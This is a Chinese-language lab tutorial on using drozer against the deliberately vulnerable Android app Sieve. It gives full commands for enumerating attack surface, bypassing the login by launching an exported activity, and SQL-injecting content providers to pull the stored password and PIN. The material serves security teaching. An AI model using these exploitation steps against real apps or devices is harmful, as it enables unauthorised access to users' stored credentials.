我们的任务分为3个部分:
1. 基本操作:使用gdb安装drozer客户端、使用drozer连接android模拟器
2. 熟悉drozer的简单操作:列出所有包名、获取指定包名、获取指定应用的基本信息、确定攻击面
3. Drozer实战:使用drozer攻击app漏洞
配置实验环境
1.启动android模拟器
点击下面的android虚拟设备
点击启动
进入设备的启动配置选项,点击“launch”
然后关闭虚拟设备管理器
双击start_drozer.bat
2.安装drozer 客户端
查看当前设备
adb devices
启动drozer客户端
解锁模拟器(鼠标点击拉到右侧),进入下面界面
打开drozer客户端
查看右下角的按钮,如果是关闭状态,则点击按钮,启动drozer agent
3.开启端口转发
adb forward tcp:31415 tcp:31415
使用drozer连接android模拟器
drozer console connect
连接成功
任务描述:熟悉drozer的简单操作:列出drozer的所有模块,列出模拟器上安装的所有包名、获取指定包名、获取指定应用的基本信息、确定攻击面
1.列出drozer的所有模块
List
每个模块后面都有该模块的介绍,使用的时候可以参考
2.列出模拟器上安装的所有包名
包名是唯一的,只表示apk文件的名称,都是以com.开头
run app.package.list
3.查找包含特定字符串的包名
run app.package.list –f (string to be searched)
例如:查找包含example的包名
run app.package.list -f example
4.获取指定应用的基本信息
run app.package.info -a com.mwr.example.sieve
5.确定攻击面
我们只用一条命令就可用识别出应用的攻击面,Drozer会告诉我们应用是否有暴露的组件,是否可调试等
run app.package.attacksurface (package name)
例如:
run app.package.attacksurface com.mwr.example.sieve
任务描述:测试目标app sieve是否存在漏洞,并通过该SQL注入漏洞获取用户敏感信息
Sieve是一个密码管理小工具,可以存贮多个不同应用的密码,本次实验将对sieve的漏洞进行探测分析
1.查找sieve包名
run app.package.list -f sieve
2.获取目标sieve详细信息
run app.package.info -a com.mwr.example.sieve
3.查看sieve攻击面
run app.package.attacksurface com.mwr.example.sieve
Exported 表明该组件可以被其他app调用,如果存在恶意app,就会导致用户敏感信息泄露
4.查看有哪些功能可以被其他app调用
run app.activity.info -a com.mwr.example.sieve
发现有三个功能被调用了,其中MainLoginActivities是用户登录界面。
可以看到都不需要权限,那么下面我们将进行尝试调用:
正常开启该app
点击下面按钮
开启app
向左拖动,然后打开应用
正常情况下,如果没有密码是不能查看里面存储的内容的
但是根据之前探测结果,发现该应用的如下信息
我们可以绕过登录验证功能,直接执行查看密码的功能:
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
sieve 应用直接转到了密码存储的页面
5.查询Content Providers详细信息。
Content Providers 主要是用来存储和查询数据,更重要的是所有应用程序都可以访问它。这也是程序之间分享数据的唯一方法。Android里面是没有提供共同存储的区域来给所有的包访问。
由于Content Providers的这一特性,就会造成app敏感信息的泄露
下面命令可以获取Content Providers详细信息:
run app.provider.info -a com.mwr.example.sieve
从返回结果可以看出,对sieve的DBContentProvider的访问除了/Keys路径,其他的都不需要权限,而FileBackupProvider的访问都不需要权限,那么我们就可以根据这些信息来获取敏感数据
6.获取如何访问步骤五中的敏感数据的方法
在步骤5中,我们可以断定DBContentProvider肯定存在某些敏感数据
但是我们却不知道如何获取。Drozer提供了一个模块,可以帮助我们获取
这些内容的uris(通过测试发现在模拟器中使用该模块会出现异常,如果实验者想复现可以在本地搭建环境,在真实手机上测试)
run scanner.provider.finduris -a com.mwr.example.sieve
-a 指定了应用名称,不加参数会扫描所有安装的app
可以看到我们有三个uri可以访问,考虑步骤5中/Keys需要权限,所以我们可以使用content://com.mwr.example.sieve.DBContentProvider/Passwords/来测试。
7.测试是否存在sql注入漏洞
由于andorid应用大多使用sqlite数据库存储数据,既然这些数据库使用sql,那么就有可能存在sql注入漏洞。下面我们将通过简单的方法测试是否存在该漏洞。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
可以看到,返回了错误信息,爆出了注入点,我们就可以构造sql从而获取敏感信息。下面是另外一个注入点
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
从两个返回结果看,在column和where处都存在注入点
8.利用注入漏洞获取敏感信息
该步骤有点类似于sqlmap,可以查看都有哪些表,并且可以查询表中的数据,甚至导出数据库到本地进行分析。下面就利用步骤7发现的注入点来进一步渗透
查询存在哪些表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
查询表中的数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
我们直接获取了该应用的登录密码和pin码
9.自动发现sql注入漏洞的模块(该模块需要实验者自己在实体机上进行测试)
Drozer提供了自动测试sql注入漏洞的模块,用法如下
run scanner.provider.injection -a com.mwr.example.sieve
结果跟我们通过步骤6、7、8的结果相同